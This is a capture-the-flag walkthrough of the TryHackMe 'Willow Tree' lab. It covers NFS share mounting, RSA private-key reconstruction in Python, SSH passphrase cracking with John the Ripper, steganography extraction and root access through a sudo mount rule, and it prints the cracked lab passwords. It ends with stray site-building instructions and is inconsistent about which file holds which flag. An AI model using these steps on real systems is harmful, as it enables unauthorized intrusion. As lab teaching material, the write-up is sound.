HackWrite

From noob to root.

Willow Tree

Machine Overview

PlatformTryHackMe
DifficultyMedium
OSLinux
TagsNFS | RSA-Cryptography | Steganography | Privilege Escalation

Initial Enumeration

1

Port Scanning

Starting with an Nmap scan to identify open services:

terminal
nmap -sVC 10.80.134.237

Nmap Scan

The scan reveals several interesting services:

  • Port 22: OpenSSH 6.7p1
  • Port 80: Apache httpd 2.4.10
  • Port 111/2049: NFS (Network File System)
2

Web Enumeration

Visiting the web server on port 80 reveals a page with seemingly random numbers:

Cipher Text

This is decimal-encoded ASCII text. Using DCode.fr to analyze the cipher:

DCode Analysis 1

DCode Analysis 2

The decoded message reveals: "Hey Willow, here's your SSH Private key -- you know where the decryption key is!"

This hints that we'll need to find a decryption key or reconstruct the SSH key from other sources.

3

NFS Enumeration

Since NFS is exposed, check for available shares:

terminal
showmount -e 10.80.134.237

Showmount Output

The server exports /var/failsafe to everyone. Let's mount it:

terminal
sudo mkdir -p /mnt/nfs/failsafe sudo mount -t nfs 10.80.134.237:/var/failsafe /mnt/nfs/failsafe sudo ls /mnt/nfs/failsafe

Mount Process

![Mount Success](/images/make sure the paths match your public directory structure.png)

The share contains a file named rsa_keys. Examining its contents:

terminal
cat /mnt/nfs/failsafe/rsa_keys

RSA Keys File

The file contains RSA parameters:

  • Public Key: (23, 37627) → (e, n)
  • Private Key Pair: (61527, 37627) → (d, n)

Initial Access

4

RSA Key Reconstruction with Python

Given the RSA parameters (n=37627, e=23, d=61527), we need to reconstruct the private key. Using a Python script to factor n and generate the PEM key:

terminal
#!/usr/bin/env python3 from Crypto.PublicKey import RSA import math n = 37627 e = 23 d = 61527 # Factor n to get p and q def factor(n): for i in range(2, int(math.sqrt(n)) + 1): if n % i == 0: return i, n // i return None p, q = factor(n) print(f"p: {p}, q: {q}") # Calculate additional parameters phi = (p-1) * (q-1) print(f"Verified d: {d == pow(e, -1, phi)}") # Construct RSA key key = RSA.construct((n, e, d, p, q)) private_key = key.export_key() print(private_key.decode())

Running this script outputs the RSA private key:

terminal
-----BEGIN RSA PRIVATE KEY----- MIICOQIBAAJBAL... -----END RSA PRIVATE KEY-----

Save this output to id_rsa.

5

SSH Key Cracking

The private key is password-protected. First, convert it to John format:

terminal
ssh2john id_rsa > hash.txt

SSH2John Conversion

Now crack it with John the Ripper using rockyou.txt:

terminal
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

John Cracking

Cracked Password: wildflower

Remove the passphrase from the key for easier use (or use it directly):

terminal
chmod 600 id_rsa ssh-keygen -p -f id_rsa # Enter old passphrase: wildflower # Enter new passphrase: (empty)

SSH Key Permissions

Now SSH into the box as user willow:

terminal
ssh -i id_rsa willow@10.80.134.237

SSH Connection

Upon successful connection with the correct passphrase, we're greeted with a poetic message from "The Willow Tree" English Folksong.

User Flag

6

Steganography Extraction

In willow's home directory, there's an image file user.jpg:

LS Willow Home

Download it to your local machine:

terminal
scp -i id_rsa willow@10.80.134.237:/home/willow/user.jpg .

SCP Download

Danger

The passphrase for steghide is the same as the SSH key: wildflower

Extract hidden data from the image:

terminal
steghide extract -sf user.jpg

Steghide Extract

This extracts root.txt containing the user flag (the real root flag taunt).

Privilege Escalation

7

Sudo Analysis

Checking sudo privileges:

terminal
sudo -l

Sudo Privileges

User willow may run the following commands on willow-tree: (ALL : ALL) NOPASSWD: /bin/mount /dev/*

This allows mounting any block device as root without password.

8

Finding Hidden Devices

Investigating /dev/ reveals a suspicious device:

terminal
ls /dev/

LS Dev

Notice the hidden_backup device. Checking disk labels:

terminal
ls -la /dev/disk/by-label/

Hidden Directory Label

The hidden_directory symlink points to ../../xvda5. Checking UUIDs:

terminal
ls -la /dev/disk/by-uuid/

UUID Listing

9

Mounting the Hidden Filesystem

Create a mount point and mount the hidden device as root using the sudo privilege:

terminal
sudo -u root mount /dev/hidden_backup /tmp/pwn ls /tmp/pwn cat /tmp/pwn/creds.txt

Credentials Discovery

The creds.txt file contains credentials:

  • root: 7QvbvBTvwPspUK
  • willow: U0ZZJLGYhNAT2s
10

Getting Root

Switch to the root user using the discovered password:

terminal
su root # Password: 7QvbvBTvwPspUK whoami cd /root ls cat root.txt

Fake Root Flag

Danger

The /root/root.txt contains a fake flag with the message: "This would be too easy, don't you think? I actually gave you the root flag some time ago. You've got my password now -- go find your flag!"

The real root flag was obtained earlier via steghide extraction from user.jpg (saved as root.txt in your working directory).

Key Takeaways

  1. NFS Security: Anonymous NFS shares can leak cryptographic material or credentials
  2. RSA Reconstruction: Given n, e, and d, RSA keys can be reconstructed programmatically using Python (PyCryptodome) without needing external GitHub tools
  3. Steganography: The steghide tool hides data in images; always check with passwords found during enumeration
  4. Sudo Mount Privileges: NOPASSWD: /bin/mount /dev/* allows attackers to mount raw disk partitions containing sensitive files like /etc/shadow backups or credential stores

Tools Used

  • Nmap
  • showmount / mount.nfs
  • Python (PyCryptodome/Crypto.PublicKey) for RSA reconstruction
  • John the Ripper (ssh2john)
  • steghide
  • Standard Linux enumeration utilities

To use this file:

  1. Copy the code block above
  2. Create a new file named willow.mdx in your project (e.g., app/writeups/willow.mdx or content/writeups/willow.mdx depending on your structure)
  3. Paste the content
  4. Make sure the image paths (/images/writeups/willow/...) match your public directory structure (you may need to rename your uploaded PNG files to match these paths)

The file uses your custom MDX components (Cover, Step, Note, Warning) which will render with the styling from your mdx-components.tsx and MdxWidgets.tsx files.